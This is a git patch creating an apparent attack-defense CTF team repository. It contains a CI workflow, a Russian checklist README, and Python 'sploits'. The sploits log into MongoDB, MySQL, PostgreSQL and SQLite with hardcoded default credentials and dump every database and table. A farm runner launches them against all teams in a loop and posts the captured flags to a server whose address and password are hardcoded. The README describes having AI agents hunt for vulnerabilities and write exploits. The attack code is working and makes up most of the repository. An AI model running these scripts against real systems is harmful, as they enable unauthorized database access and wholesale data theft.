From 34a798d34581c16a973c0774da5f5073631b62b0 Mon Sep 17 00:00:00 2001 From: 4x10m <> Date: Wed, 26 Aug 2026 06:37:04 +0000 Subject: [PATCH] Initial commit --- .gitea/workflows/build-and-push.yml | 116 ++++++ .gitignore | 4 + README.md | 53 +++ services/.gitkeep | 0 services_vulnerable/.gitkeep | 0 sploits/.gitkeep | 0 sploits/mongo_default.py | 106 +++++ sploits/mysql_default.py | 189 +++++++++ sploits/postgresql_default.py | 171 ++++++++ sploits/sqlite_default.py | 104 +++++ sploits/start_sploit.py | 619 ++++++++++++++++++++++++++++ sploits/template.py | 68 +++ sploits/template_attack_data.py | 116 ++++++ 13 files changed, 1546 insertions(+) create mode 100644 .gitea/workflows/build-and-push.yml create mode 100644 .gitignore create mode 100644 README.md create mode 100644 services/.gitkeep create mode 100644 services_vulnerable/.gitkeep create mode 100644 sploits/.gitkeep create mode 100644 sploits/mongo_default.py create mode 100644 sploits/mysql_default.py create mode 100644 sploits/postgresql_default.py create mode 100644 sploits/sqlite_default.py create mode 100755 sploits/start_sploit.py create mode 100644 sploits/template.py create mode 100644 sploits/template_attack_data.py diff --git a/.gitea/workflows/build-and-push.yml b/.gitea/workflows/build-and-push.yml new file mode 100644 index 0000000..d00070d --- /dev/null +++ b/.gitea/workflows/build-and-push.yml @@ -0,0 +1,116 @@ +name: build-and-push + +on: + push: + branches: [main] + paths: + - 'services/**' + - '.gitea/workflows/build-and-push.yml' + workflow_dispatch: + inputs: + service: + description: "Service to build ('all' or a single dir name)" + required: false + default: all + +concurrency: + group: build-${{ github.ref }} + cancel-in-progress: true + +env: + REGISTRY: git.itqdev.xyz + NAMESPACE: 4x10m + +jobs: + detect: + runs-on: ubuntu-latest + outputs: + services: ${{ steps.set.outputs.services }} + steps: + - uses: actions/checkout@v4 + with: + fetch-depth: 0 + + - id: set + shell: bash + run: | + set -euo pipefail + + if [ "${{ github.event_name }}" = "workflow_dispatch" ] && [ "${{ github.event.inputs.service }}" != "all" ]; then + CHANGED="${{ github.event.inputs.service }}" + else + BEFORE="${{ github.event.before }}" + WORKFLOW_TOUCHED="" + if [ "${{ github.event_name }}" = "push" ]; then + WORKFLOW_TOUCHED=$(git diff --name-only "$BEFORE" "${{ github.sha }}" -- .gitea/workflows/build-and-push.yml 2>/dev/null || true) + fi + + if [ "${{ github.event_name }}" != "push" ] \ + || [ -z "$BEFORE" ] \ + || [ "$BEFORE" = "0000000000000000000000000000000000000000" ] \ + || ! git cat-file -e "${BEFORE}^{commit}" 2>/dev/null \ + || [ -n "$WORKFLOW_TOUCHED" ]; then + CHANGED=$(find services -mindepth 1 -maxdepth 1 -type d -exec basename {} \;) + else + CHANGED=$(git diff --name-only "$BEFORE" "${{ github.sha }}" -- services/ \ + | awk -F/ 'NF>1 {print $2}' | sort -u) + fi + fi + + JSON="[" + FIRST=1 + for s in $CHANGED; do + [ -d "services/$s" ] || continue + if [ "$FIRST" -eq 1 ]; then JSON="$JSON\"$s\""; FIRST=0; else JSON="$JSON,\"$s\""; fi + done + JSON="$JSON]" + + echo "Changed services: $JSON" + echo "services=$JSON" >> "$GITHUB_OUTPUT" + + build: + needs: detect + if: needs.detect.outputs.services != '[]' + runs-on: ubuntu-latest + permissions: + contents: read + packages: write + strategy: + fail-fast: false + matrix: + service: ${{ fromJSON(needs.detect.outputs.services) }} + steps: + - uses: actions/checkout@v4 + + - name: Login to Gitea registry + env: + REG_USER: ${{ secrets.REGISTRY_USER || github.actor }} + REG_TOKEN: ${{ secrets.REGISTRY_TOKEN || secrets.GITHUB_TOKEN }} + run: | + set -euo pipefail + echo "Logging in to $REGISTRY as $REG_USER" + echo "$REG_TOKEN" | docker login "$REGISTRY" -u "$REG_USER" --password-stdin + + - name: Build & push ${{ matrix.service }} + working-directory: services/${{ matrix.service }} + run: | + set -euo pipefail + SHA=$(echo "${{ github.sha }}" | cut -c1-8) + export SECRET_KEY="${SECRET_KEY:-ci-build}" + + export IMAGE_TAG=latest + docker compose build + + IMAGES=$(docker compose config --images | grep "^${REGISTRY}/${NAMESPACE}/" | sort -u) + if [ -z "$IMAGES" ]; then + echo "No registry-owned images found for ${{ matrix.service }}" >&2 + exit 1 + fi + + for img in $IMAGES; do + base="${img%:*}" + docker tag "$img" "${base}:${SHA}" + docker push "$img" + docker push "${base}:${SHA}" + echo "pushed $img and ${base}:${SHA}" + done diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..5c1d052 --- /dev/null +++ b/.gitignore @@ -0,0 +1,4 @@ +.DS_store +.idea +target/ +local_reports/ diff --git a/README.md b/README.md new file mode 100644 index 0000000..86b0677 --- /dev/null +++ b/README.md @@ -0,0 +1,53 @@ +# Alpha A/D + +## AD чеклист + +- [ ] Поднять инфру на vulnbox (Pacmate+Firegex) +- [ ] Поднять ферму в локалке с вашей командой с сетевым доступом к борде (+настроить конфиг фермы) (возможно локально у одного участника команды) +- [ ] Поменять в start_sploit.py ip-адрес и пароль от фермы (запушить!) +- [ ] Склонить репу с сервисами каждому участнику, закинуть туда выданные сервисы, продублировав в папку services_vulnerable для сохранения диффа, все патчи делать в папке services +- [ ] Склонить репу на vulnbox, чтобы можно было делать git pull +- [ ] Поднять сервисы на vulnbox +- [ ] Настроить фильры в Pacmate по регулярке флага и добавить сервисы + +Далее как писать сплойты: +сплойт - это python скрипт, который принимает +```python +ip = sys.argv[1] +``` +этот ip будет в argv передавать start_sploit.py с фермы + +далее в сплойте обязательно надо поставить +```python +#!/bin/python3 +``` + +далее сплойт должен печатать флаги и вместе с ним любой мусор в stdout (можно не фильтровать флаги из всего вывода, это сделаем start_sploit.py), для этого надо во всех print() делать + +```python +print("", flush=True) +``` + +запускать сплойт через start_sploit.py + +```python3 +./start_sploit.py splot.py +``` + +автоматом все флаги, которые собрал сплойт, будут отправляться на ферму + +Флоу во время AD: +- При выдаче сервисов сразу натравливаем агентов искать уязы и писать сплойты, скормив правила написания выше +- Можно поднимать локально для тестов сплойтов +- Поменять все дефолт креды и токены в коде (запушить, подтянуть на vulnbox, ребилдить и редеплойнуть на vulnbox!!) но сохранить старые в файле где то +- Как только открывается сеть запукаем сплойты через start_sploit.py (мониторим что ферма работает и получает флаги и отправляет в борду!!!) +- Патчим все сервисы на найденные уязы (редеплоим) +- Так же если были открыты БД на портах во вне, запускаем сплойты на дефолт креды на БД +- Далее смотрим куда чекеры кладут флаги по Pacmate - ищем flag store и говорим агентам понять как туда добраться через уязы - пишем сплойты +- Отдельно мониторим что сервисы не падают и чекеры проходят +- Отдельно мониторим когда у вас крадут флаги - сразу смотрим в пакмейт и ищем через что они у вас утекают +- (проверить не у всех ли одинаковый пароль ssh от vulnbox!!) + +## CI/CD + +Там короче собирает вот, не забудьте добавить в compose.yaml `image: git.itqdev.xyz/4x10m/:${IMAGE_TAG:-latest}` diff --git a/services/.gitkeep b/services/.gitkeep new file mode 100644 index 0000000..e69de29 diff --git a/services_vulnerable/.gitkeep b/services_vulnerable/.gitkeep new file mode 100644 index 0000000..e69de29 diff --git a/sploits/.gitkeep b/sploits/.gitkeep new file mode 100644 index 0000000..e69de29 diff --git a/sploits/mongo_default.py b/sploits/mongo_default.py new file mode 100644 index 0000000..7206fec --- /dev/null +++ b/sploits/mongo_default.py @@ -0,0 +1,106 @@ +#!/usr/bin/env python3 + +import json +import os +import sys +from typing import Any + +# Credentials from creds.md +DEFAULT_MONGO_USER = "admin" +DEFAULT_MONGO_PASSWORD = "S3cr3tP4ssw0rd" +DEFAULT_MONGO_PORT = 27017 + +try: + from pymongo import MongoClient + from pymongo.errors import PyMongoError +except Exception: + MongoClient = None # type: ignore + PyMongoError = Exception # type: ignore + + +def eprint(*args: Any, **kwargs: Any) -> None: + print(*args, file=sys.stderr, **kwargs) + + +def build_uri(host: str, user: str, password: str, port: int) -> str: + # Use admin as authSource by default + return f"mongodb://{user}:{password}@{host}:{port}/?authSource=admin" + + +def dump_all(client: "MongoClient") -> None: # type: ignore[name-defined] + """Enumerate all databases/collections and print JSON lines to stdout.""" + try: + db_names = client.list_database_names() + except Exception as ex: + eprint(f"[!] Failed to list databases: {ex}") + return + + for db_name in db_names: + try: + db = client[db_name] + coll_names = db.list_collection_names() + except Exception as ex: + eprint(f"[!] Failed to list collections for db={db_name}: {ex}") + continue + + for coll_name in coll_names: + try: + coll = db[coll_name] + # Stream documents to stdout as JSONL + for doc in coll.find({}): + try: + # Convert ObjectId and other types using default=str + print(json.dumps({ + "db": db_name, + "collection": coll_name, + "document": doc, + }, default=str), flush=True) + except Exception as jex: + eprint(f"[!] JSON encode error for {db_name}.{coll_name}: {jex}") + continue + except Exception as ex: + eprint(f"[!] Failed reading collection {db_name}.{coll_name}: {ex}") + continue + + +def main() -> int: + if len(sys.argv) < 2: + print(f"Usage: {sys.argv[0]} ") + return 1 + + target_host = sys.argv[1] + + if MongoClient is None: + eprint("pymongo is not installed, please `pip install pymongo` to run this sploit") + return 2 + + mongo_user = DEFAULT_MONGO_USER + mongo_password = DEFAULT_MONGO_PASSWORD + mongo_port = DEFAULT_MONGO_PORT + + uri = build_uri(target_host, mongo_user, mongo_password, mongo_port) + try: + client = MongoClient(uri, serverSelectionTimeoutMS=3000) + # Trigger server selection to validate connection + _ = client.admin.command("ping") + except PyMongoError as ex: # type: ignore[misc] + eprint(f"[!] Connection error to {uri}: {ex}") + return 3 + except Exception as ex: + eprint(f"[!] Unexpected error connecting to {uri}: {ex}") + return 4 + + try: + dump_all(client) + finally: + try: + client.close() + except Exception: + pass + + return 0 + + +if __name__ == "__main__": + sys.exit(main()) + diff --git a/sploits/mysql_default.py b/sploits/mysql_default.py new file mode 100644 index 0000000..6e41b83 --- /dev/null +++ b/sploits/mysql_default.py @@ -0,0 +1,189 @@ +#!/usr/bin/env python3 + +import json +import os +import sys +from typing import Any, Dict, Iterable, List + +DEFAULT_MYSQL_USER = "admin" +DEFAULT_MYSQL_PASSWORD = "S3cr3tP4ssw0rd" +DEFAULT_MYSQL_PORT = 3306 + +try: + import pymysql + from pymysql.cursors import SSCursor, SSDictCursor + from pymysql.err import MySQLError, OperationalError +except Exception: + pymysql = None + SSCursor = None + SSDictCursor = None + MySQLError = Exception + OperationalError = Exception + + +SYSTEM_DBS = { + "information_schema", + "performance_schema", + "mysql", + "sys", +} + + +def eprint(*args: Any, **kwargs: Any) -> None: + print(*args, file=sys.stderr, **kwargs) + + +def connect(db: str, host: str, user: str, password: str, port: int): + assert pymysql is not None + return pymysql.connect( + host=host, + user=user, + password=password, + database=db if db else None, + port=port, + connect_timeout=3, + charset="utf8mb4", + autocommit=True, + cursorclass=SSDictCursor if SSDictCursor is not None else None, + ) + + +def list_databases(conn) -> List[str]: + dbs: List[str] = [] + try: + with conn.cursor() as cur: + cur.execute("SHOW DATABASES") + rows = cur.fetchall() + for r in rows: + name = r[0] if isinstance(r, (tuple, list)) else (r.get("Database") if isinstance(r, dict) else None) + if not name: + continue + if name in SYSTEM_DBS: + continue + dbs.append(name) + except Exception as ex: + eprint(f"[!] Failed to list databases: {ex}") + return dbs + + +def list_tables(conn, db: str) -> List[str]: + tables: List[str] = [] + try: + with conn.cursor() as cur: + cur.execute( + """ + SELECT table_name + FROM information_schema.tables + WHERE table_schema=%s AND table_type='BASE TABLE' + ORDER BY table_name + """, + (db,), + ) + rows = cur.fetchall() + for r in rows: + name = r[0] if isinstance(r, (tuple, list)) else (r.get("table_name") if isinstance(r, dict) else None) + if name: + tables.append(name) + except Exception as ex: + eprint(f"[!] Failed to list tables for db={db}: {ex}") + return tables + + +def stream_table_rows(conn, db: str, table: str, batch: int = 1000) -> Iterable[Dict[str, Any]]: + """Yield rows as dicts for given db.table using server-side cursor to stream.""" + if pymysql is None: + return + try: + with conn.cursor(SSDictCursor if SSDictCursor is not None else None) as cur: + identifier = f"`{db}`.`{table}`" + cur.execute(f"SELECT * FROM {identifier}") + while True: + rows = cur.fetchmany(batch) + if not rows: + break + for row in rows: + if isinstance(row, dict): + yield row + else: + desc = [d[0] for d in cur.description] if cur.description else [] + as_dict = {desc[i]: row[i] for i in range(len(desc))} + yield as_dict + except Exception as ex: + eprint(f"[!] Failed to read {db}.{table}: {ex}") + return + + +def dump_all_mysql(host: str, user: str, password: str, port: int) -> None: + if pymysql is None: + eprint("PyMySQL is not installed, please `pip install pymysql` to run this sploit") + return + try: + root_conn = connect("", host, user, password, port) + except OperationalError as ex: + eprint(f"[!] Connection error to mysql@{host}:{port}: {ex}") + return + except Exception as ex: + eprint(f"[!] Unexpected error connecting to mysql@{host}:{port}: {ex}") + return + + try: + dbs = list_databases(root_conn) + finally: + try: + root_conn.close() + except Exception: + pass + + for db in dbs: + try: + conn = connect(db, host, user, password, port) + except Exception as ex: + eprint(f"[!] Failed connecting to db={db}: {ex}") + continue + + try: + tables = list_tables(conn, db) + for table in tables: + for row in stream_table_rows(conn, db, table): + try: + print( + json.dumps( + { + "db": db, + "table": table, + "row": row, + }, + default=str, + ), + flush=True, + ) + except Exception as jex: + eprint(f"[!] JSON encode error for {db}.{table}: {jex}") + continue + finally: + try: + conn.close() + except Exception: + pass + + +def main() -> int: + if len(sys.argv) < 2: + print(f"Usage: {sys.argv[0]} ") + return 1 + + target_host = sys.argv[1] + + mysql_user = os.getenv("MYSQL_USER", DEFAULT_MYSQL_USER) + mysql_password = os.getenv("MYSQL_PASSWORD", DEFAULT_MYSQL_PASSWORD) + try: + mysql_port = int(os.getenv("MYSQL_PORT", str(DEFAULT_MYSQL_PORT))) + except ValueError: + mysql_port = DEFAULT_MYSQL_PORT + + dump_all_mysql(target_host, mysql_user, mysql_password, mysql_port) + return 0 + + +if __name__ == "__main__": + sys.exit(main()) diff --git a/sploits/postgresql_default.py b/sploits/postgresql_default.py new file mode 100644 index 0000000..5af83aa --- /dev/null +++ b/sploits/postgresql_default.py @@ -0,0 +1,171 @@ +#!/usr/bin/env python3 + +import json +import os +import sys +from typing import Any, Dict, Iterable, List, Optional, Tuple + +DEFAULT_PG_USER = "admin" +DEFAULT_PG_PASSWORD = "S3cr3tP4ssw0rd" +DEFAULT_PG_PORT = 5432 +DEFAULT_PG_DB = "postgres" + +try: + import psycopg2 + import psycopg2.extras + from psycopg2 import OperationalError, sql +except Exception: + psycopg2 = None + OperationalError = Exception + sql = None + + +def eprint(*args: Any, **kwargs: Any) -> None: + print(*args, file=sys.stderr, **kwargs) + + +def connect(dbname: str, host: str, user: str, password: str, port: int): + assert psycopg2 is not None + return psycopg2.connect( + dbname=dbname, + host=host, + user=user, + password=password, + port=port, + connect_timeout=3, + ) + + +def list_databases(conn) -> List[str]: + dbs: List[str] = [] + try: + with conn.cursor() as cur: + cur.execute( + """ + SELECT datname + FROM pg_database + WHERE datistemplate = false + ORDER BY datname + """ + ) + dbs = [row[0] for row in cur.fetchall()] + except Exception as ex: + eprint(f"[!] Failed to list databases: {ex}") + return dbs + + +def list_tables(conn) -> List[Tuple[str, str]]: + """Return [(schema, table), ...] for all base tables user can read.""" + tables: List[Tuple[str, str]] = [] + try: + with conn.cursor() as cur: + cur.execute( + """ + SELECT table_schema, table_name + FROM information_schema.tables + WHERE table_type='BASE TABLE' + AND table_schema NOT IN ('pg_catalog', 'information_schema') + ORDER BY table_schema, table_name + """ + ) + tables = [(r[0], r[1]) for r in cur.fetchall()] + except Exception as ex: + eprint(f"[!] Failed to list tables: {ex}") + return tables + + +def stream_table_rows(conn, schema: str, table: str, batch: int = 1000) -> Iterable[Dict[str, Any]]: + """Yield rows as dicts for given schema.table in batches.""" + try: + with conn.cursor(name=f"cur_{schema}_{table}", cursor_factory=psycopg2.extras.DictCursor) as cur: + identifier = f'"{schema}"."{table}"' + cur.itersize = batch + cur.execute(f"SELECT * FROM {identifier}") + while True: + rows = cur.fetchmany(batch) + if not rows: + break + for row in rows: + yield dict(row) + except Exception as ex: + eprint(f"[!] Failed to read {schema}.{table}: {ex}") + return + + +def dump_all_pg(host: str, user: str, password: str, port: int) -> None: + if psycopg2 is None: + eprint("psycopg2 is not installed, please `pip install psycopg2-binary` to run this sploit") + return + try: + root_conn = connect(DEFAULT_PG_DB, host, user, password, port) + root_conn.autocommit = True + except OperationalError as ex: + eprint(f"[!] Connection error to postgres@{host}:{port}: {ex}") + return + except Exception as ex: + eprint(f"[!] Unexpected error connecting to postgres@{host}:{port}: {ex}") + return + + try: + dbs = list_databases(root_conn) + finally: + try: + root_conn.close() + except Exception: + pass + + for db in dbs: + try: + conn = connect(db, host, user, password, port) + conn.autocommit = True + except Exception as ex: + eprint(f"[!] Failed connecting to db={db}: {ex}") + continue + + try: + tables = list_tables(conn) + for schema, table in tables: + for row in stream_table_rows(conn, schema, table): + try: + print( + json.dumps( + { + "db": db, + "schema": schema, + "table": table, + "row": row, + }, + default=str, + ), + flush=True, + ) + except Exception as jex: + eprint(f"[!] JSON encode error for {db}.{schema}.{table}: {jex}") + continue + finally: + try: + conn.close() + except Exception: + pass + + +def main() -> int: + if len(sys.argv) < 2: + print(f"Usage: {sys.argv[0]} ") + return 1 + + target_host = sys.argv[1] + + pg_user = os.getenv("PGUSER", DEFAULT_PG_USER) + pg_password = os.getenv("PGPASSWORD", DEFAULT_PG_PASSWORD) + try: + pg_port = int(os.getenv("PGPORT", str(DEFAULT_PG_PORT))) + except ValueError: + pg_port = DEFAULT_PG_PORT + + dump_all_pg(target_host, pg_user, pg_password, pg_port) + return 0 + + +if __name__ == "__main__": + sys.exit(main()) diff --git a/sploits/sqlite_default.py b/sploits/sqlite_default.py new file mode 100644 index 0000000..fe462d9 --- /dev/null +++ b/sploits/sqlite_default.py @@ -0,0 +1,104 @@ +#!/usr/bin/env python3 + +import json +import os +import sys +import sqlite3 +from typing import Any, Dict, Iterable, List + + +def eprint(*args: Any, **kwargs: Any) -> None: + print(*args, file=sys.stderr, **kwargs) + + +def connect(db_path: str) -> sqlite3.Connection: + conn = sqlite3.connect(db_path, timeout=3) + conn.row_factory = sqlite3.Row + return conn + + +def list_tables(conn: sqlite3.Connection) -> List[str]: + tables: List[str] = [] + try: + cur = conn.execute( + """ + SELECT name + FROM sqlite_master + WHERE type='table' AND name NOT LIKE 'sqlite_%' + ORDER BY name + """ + ) + rows = cur.fetchall() + tables = [r[0] for r in rows] + except Exception as ex: + eprint(f"[!] Failed to list tables: {ex}") + return tables + + +def stream_table_rows(conn: sqlite3.Connection, table: str, batch: int = 1000) -> Iterable[Dict[str, Any]]: + try: + cur = conn.execute(f"SELECT * FROM \"{table}\"") + while True: + rows = cur.fetchmany(batch) + if not rows: + break + for row in rows: + try: + yield {k: row[k] for k in row.keys()} + except Exception: + desc = [d[0] for d in cur.description] if cur.description else [] + yield {desc[i]: row[i] for i in range(len(desc))} + except Exception as ex: + eprint(f"[!] Failed to read table {table}: {ex}") + return + + +def dump_all_sqlite(db_path: str) -> None: + if not os.path.exists(db_path): + eprint(f"[!] SQLite database file not found: {db_path}") + return + + try: + conn = connect(db_path) + except Exception as ex: + eprint(f"[!] Failed to connect to SQLite db {db_path}: {ex}") + return + + try: + tables = list_tables(conn) + for table in tables: + for row in stream_table_rows(conn, table): + try: + print( + json.dumps( + { + "db": db_path, + "table": table, + "row": row, + }, + default=str, + ), + flush=True, + ) + except Exception as jex: + eprint(f"[!] JSON encode error for {db_path}.{table}: {jex}") + continue + finally: + try: + conn.close() + except Exception: + pass + + +def main() -> int: + if len(sys.argv) < 2: + print(f"Usage: {sys.argv[0]} ") + return 1 + + db_path = sys.argv[1] + dump_all_sqlite(db_path) + return 0 + + +if __name__ == "__main__": + sys.exit(main()) diff --git a/sploits/start_sploit.py b/sploits/start_sploit.py new file mode 100755 index 0000000..a193188 --- /dev/null +++ b/sploits/start_sploit.py @@ -0,0 +1,619 @@ +#!/usr/bin/env python3 + +import argparse +import binascii +import itertools +import logging +import os +import random +import re +import stat +import subprocess +import sys +import threading +import time +from concurrent.futures import ThreadPoolExecutor +from enum import Enum +from math import ceil +from urllib.parse import urljoin + +import requests + +if sys.version_info < (3, 4): + logging.critical('Support of Python < 3.4 is not implemented yet') + sys.exit(1) + +os_windows = (os.name == 'nt') + +HEADER = ''' + + ██████╗██╗ ██╗████████╗ ██████╗ ██╗ ██╗████████╗ ███████╗██╗ ██╗██████╗ +██╔════╝██║ ██║╚══██╔══╝ ██╔══██╗██║ ██║╚══██╔══╝ ██╔════╝██║ ██║██╔══██╗ +██║ ███████║ ██║ ██████╔╝██║ ██║ ██║ ███████╗███████║██║ ██║ +██║ ╚════██║ ██║ ██╔══██╗██║ ██║ ██║ ╚════██║╚════██║██║ ██║ +╚██████╗ ██║ ██║ ██████╔╝╚██████╔╝ ██║ ███████║ ██║██████╔╝ + ╚═════╝ ╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚══════╝ ╚═╝╚═════╝ +'''[1:] + + +class Style(Enum): + """ + Bash escape sequences, see: + https://misc.flogisoft.com/bash/tip_colors_and_formatting + """ + + BOLD = 1 + + FG_BLACK = 30 + FG_RED = 31 + FG_GREEN = 32 + FG_YELLOW = 33 + FG_BLUE = 34 + FG_MAGENTA = 35 + FG_CYAN = 36 + FG_LIGHT_GRAY = 37 + + +BRIGHT_COLORS = [Style.FG_RED, Style.FG_GREEN, Style.FG_BLUE, + Style.FG_MAGENTA, Style.FG_CYAN] + +VERBOSE_LINES = 5 + + +def highlight(text, style=None): + if os_windows: + return text + + if style is None: + style = [Style.BOLD, random.choice(BRIGHT_COLORS)] + return '\033[{}m'.format(';'.join(str(item.value) for item in style)) + text + '\033[0m' + + +log_format = '%(asctime)s {} %(message)s'.format(highlight('%(levelname)s', [Style.FG_YELLOW])) +logging.basicConfig(format=log_format, datefmt='%H:%M:%S', level=logging.DEBUG) + + +def parse_args(): + parser = argparse.ArgumentParser(description='Run a sploit on all teams in a loop', + formatter_class=argparse.ArgumentDefaultsHelpFormatter) + + parser.add_argument('sploit', + help="Sploit executable (should take a victim's host as the first argument)") + parser.add_argument('--server-url', metavar='URL', default='http://158.160.177.126:5137/', + help='Server URL') + parser.add_argument('--server-pass', metavar='PASS', default='ebatmftiidtl74231342', + help='Server password') + parser.add_argument('--interpreter', metavar='COMMAND', + help='Explicitly specify sploit interpreter (use on Windows, which doesn\'t ' + 'understand shebangs)') + + parser.add_argument('--pool-size', metavar='N', type=int, default=50, + help='Maximal number of concurrent sploit instances. ' + 'Too little value will make time limits for sploits smaller, ' + 'too big will eat all RAM on your computer') + parser.add_argument('--attack-period', metavar='N', type=float, default=55, + help='Rerun the sploit on all teams each N seconds ' + 'Too little value will make time limits for sploits smaller, ' + 'too big will miss flags from some rounds') + + parser.add_argument('-v', '--verbose-attacks', metavar='N', type=int, default=1, + help="Sploits' outputs and found flags will be shown for the N first attacks") + + parser.add_argument('-e', '--endless', default=False, action='store_true', + help="Run sploits without timeouts") + + group = parser.add_mutually_exclusive_group() + group.add_argument('--not-per-team', action='store_true', + help='Run a single instance of the sploit instead of an instance per team') + group.add_argument('--distribute', metavar='K/N', + help='Divide the team list to N parts (by address hash modulo N) ' + 'and run the sploits only on Kth part of it (K >= 1)') + + return parser.parse_args() + + +def fix_args(args): + check_sploit(args) + + if '://' not in args.server_url: + args.server_url = 'http://' + args.server_url + + if args.distribute is not None: + valid = False + match = re.fullmatch(r'(\d+)/(\d+)', str(args.distribute)) + if match is not None: + k, n = (int(match.group(1)), int(match.group(2))) + if n >= 2 and 1 <= k <= n: + args.distribute = k, n + valid = True + + if not valid: + raise ValueError('Wrong syntax for --distribute, use --distribute K/N (N >= 2, 1 <= K <= N)') + + +SCRIPT_EXTENSIONS = { + '.pl': 'perl', + '.py': 'python', + '.rb': 'ruby', +} + + +def check_script_source(source): + errors = [] + if not os_windows and source[:2] != '#!': + errors.append( + 'Please use shebang (e.g. {}) as the first line of your script'.format( + highlight('#!/usr/bin/env python3', [Style.FG_GREEN]))) + if re.search(r'flush[(=]', source) is None: + errors.append( + 'Please print the newline and call {} each time after your sploit outputs flags. ' + 'In Python 3, you can use {}. ' + 'Otherwise, the flags may be lost (if the sploit process is killed) or ' + 'sent with a delay.'.format( + highlight('flush()', [Style.FG_RED]), + highlight('print(..., flush=True)', [Style.FG_GREEN]))) + return errors + + +class InvalidSploitError(Exception): + pass + + +def check_sploit(args): + path = args.sploit + if not os.path.isfile(path): + raise ValueError('No such file: {}'.format(path)) + + extension = os.path.splitext(path)[1].lower() + is_script = extension in SCRIPT_EXTENSIONS + if is_script: + with open(path, 'r', errors='ignore') as f: + source = f.read() + errors = check_script_source(source) + + if errors: + for message in errors: + logging.error(message) + raise InvalidSploitError('Sploit won\'t be run because of validation errors') + + if os_windows and args.interpreter is None: + args.interpreter = SCRIPT_EXTENSIONS[extension] + logging.info('Using interpreter `{}`'.format(args.interpreter)) + + if not os_windows: + file_mode = os.stat(path).st_mode + # TODO: May be check the owner and other X flags properly? + if not file_mode & stat.S_IXUSR: + if is_script: + logging.info('Setting the executable bit on `{}`'.format(path)) + os.chmod(path, file_mode | stat.S_IXUSR) + else: + raise InvalidSploitError("The provided file doesn't appear to be executable") + + +if os_windows: + # By default, Ctrl+C does not work on Windows if we spawn subprocesses. + # Here we fix that using WinApi. See https://stackoverflow.com/a/43095532 + + import signal + import ctypes + from ctypes import wintypes + + kernel32 = ctypes.WinDLL("kernel32", use_last_error=True) + + # BOOL WINAPI HandlerRoutine( + # _In_ DWORD dwCtrlType + # ); + PHANDLER_ROUTINE = ctypes.WINFUNCTYPE(wintypes.BOOL, wintypes.DWORD) + + win_ignore_ctrl_c = PHANDLER_ROUTINE() # = NULL + + + def _errcheck_bool(result, _, args): + if not result: + raise ctypes.WinError(ctypes.get_last_error()) + return args + + + # BOOL WINAPI SetConsoleCtrlHandler( + # _In_opt_ PHANDLER_ROUTINE HandlerRoutine, + # _In_ BOOL Add + # ); + kernel32.SetConsoleCtrlHandler.errcheck = _errcheck_bool + kernel32.SetConsoleCtrlHandler.argtypes = (PHANDLER_ROUTINE, wintypes.BOOL) + + + @PHANDLER_ROUTINE + def win_ctrl_handler(dwCtrlType): + if dwCtrlType == signal.CTRL_C_EVENT: + kernel32.SetConsoleCtrlHandler(win_ignore_ctrl_c, True) + shutdown() + return False + + + kernel32.SetConsoleCtrlHandler(win_ctrl_handler, True) + + +class APIException(Exception): + pass + + +SERVER_TIMEOUT = 5 + + +def get_auth_headers(args): + return {'Authorization': args.server_pass} + + +def get_config(args): + url = urljoin(args.server_url, '/api/get_config') + headers = get_auth_headers(args) + + r = requests.get(url, headers=headers, timeout=SERVER_TIMEOUT) + if not r.ok: + raise APIException(r.text) + + return r.json() + + +def post_flags(args, flags): + sploit_name = os.path.basename(args.sploit) + data = [ + { + 'flag': item['flag'], + 'sploit': sploit_name, + 'team': item['team'] + } for item in flags + ] + + url = urljoin(args.server_url, '/api/post_flags') + headers = get_auth_headers(args) + r = requests.post(url, headers=headers, json=data, timeout=SERVER_TIMEOUT) + if not r.ok: + raise APIException(r.text) + + +exit_event = threading.Event() + + +def once_in_a_period(period): + for iter_no in itertools.count(1): + start_time = time.time() + yield iter_no + + time_spent = time.time() - start_time + if period > time_spent: + exit_event.wait(period - time_spent) + if exit_event.is_set(): + break + + +class FlagStorage: + """ + Thread-safe storage comprised of a set and a post queue. + + Any number of threads may call add(), but only one "consumer thread" + may call pick_flags() and mark_as_sent(). + """ + + def __init__(self): + self._flags_seen = set() + self._queue = [] + self._lock = threading.RLock() + + def add(self, flags, team_name): + with self._lock: + for item in flags: + if item not in self._flags_seen: + self._flags_seen.add(item) + self._queue.append({'flag': item, 'team': team_name}) + + def pick_flags(self, count): + with self._lock: + return self._queue[:count] + + def mark_as_sent(self, count): + with self._lock: + self._queue = self._queue[count:] + + @property + def queue_size(self): + with self._lock: + return len(self._queue) + + +flag_storage = FlagStorage() + +POST_PERIOD = 5 +POST_FLAG_LIMIT = 10000 + + +# TODO: test that 10k flags won't lead to the hangup of the farm server + + +def run_post_loop(args): + try: + for _ in once_in_a_period(POST_PERIOD): + flags_to_post = flag_storage.pick_flags(POST_FLAG_LIMIT) + + if flags_to_post: + try: + post_flags(args, flags_to_post) + + flag_storage.mark_as_sent(len(flags_to_post)) + logging.info('{} flags posted to the server ({} in the queue)'.format( + len(flags_to_post), flag_storage.queue_size)) + except Exception as e: + logging.error("Can't post flags to the server: {}".format(repr(e))) + logging.info("The flags will be posted next time") + except Exception as e: + logging.critical('Posting loop died: {}'.format(repr(e))) + shutdown() + + +display_output_lock = threading.RLock() + + +def display_sploit_output(team_name, output_lines): + if not output_lines: + logging.info('{}: No output from the sploit'.format(team_name)) + return + + prefix = highlight(team_name + ': ') + with display_output_lock: + print('\n' + '\n'.join(prefix + line.rstrip() for line in output_lines) + '\n') + + +def process_sploit_output(stream, args, team_name, flag_format, attack_no): + try: + output_lines = [] + instance_flags = set() + + line_cnt = 1 + + while True: + line = stream.readline() + if not line: + break + + line = line.decode(errors='replace') + output_lines.append(line) + + line_flags = set(flag_format.findall(line)) + if line_flags: + flag_storage.add(line_flags, team_name) + instance_flags |= line_flags + + if args.endless and line_cnt <= args.verbose_attacks * VERBOSE_LINES: + line_cnt += 1 + display_sploit_output(team_name, output_lines) + output_lines = [] + if instance_flags: + logging.info('Got {} flags from "{}": {}'.format( + len(instance_flags), team_name, instance_flags)) + instance_flags = set() + + if attack_no <= args.verbose_attacks and not exit_event.is_set(): + # We don't want to spam the terminal on KeyboardInterrupt + + display_sploit_output(team_name, output_lines) + if instance_flags: + logging.info('Got {} flags from "{}": {}'.format( + len(instance_flags), team_name, instance_flags)) + except Exception as e: + logging.error('Failed to process sploit output: {}'.format(repr(e))) + + +class InstanceStorage: + """ + Storage comprised of a dictionary of all running sploit instances and some statistics. + + Always acquire instance_lock before using this class. Do not release the lock + between actual spawning/killing a process and calling 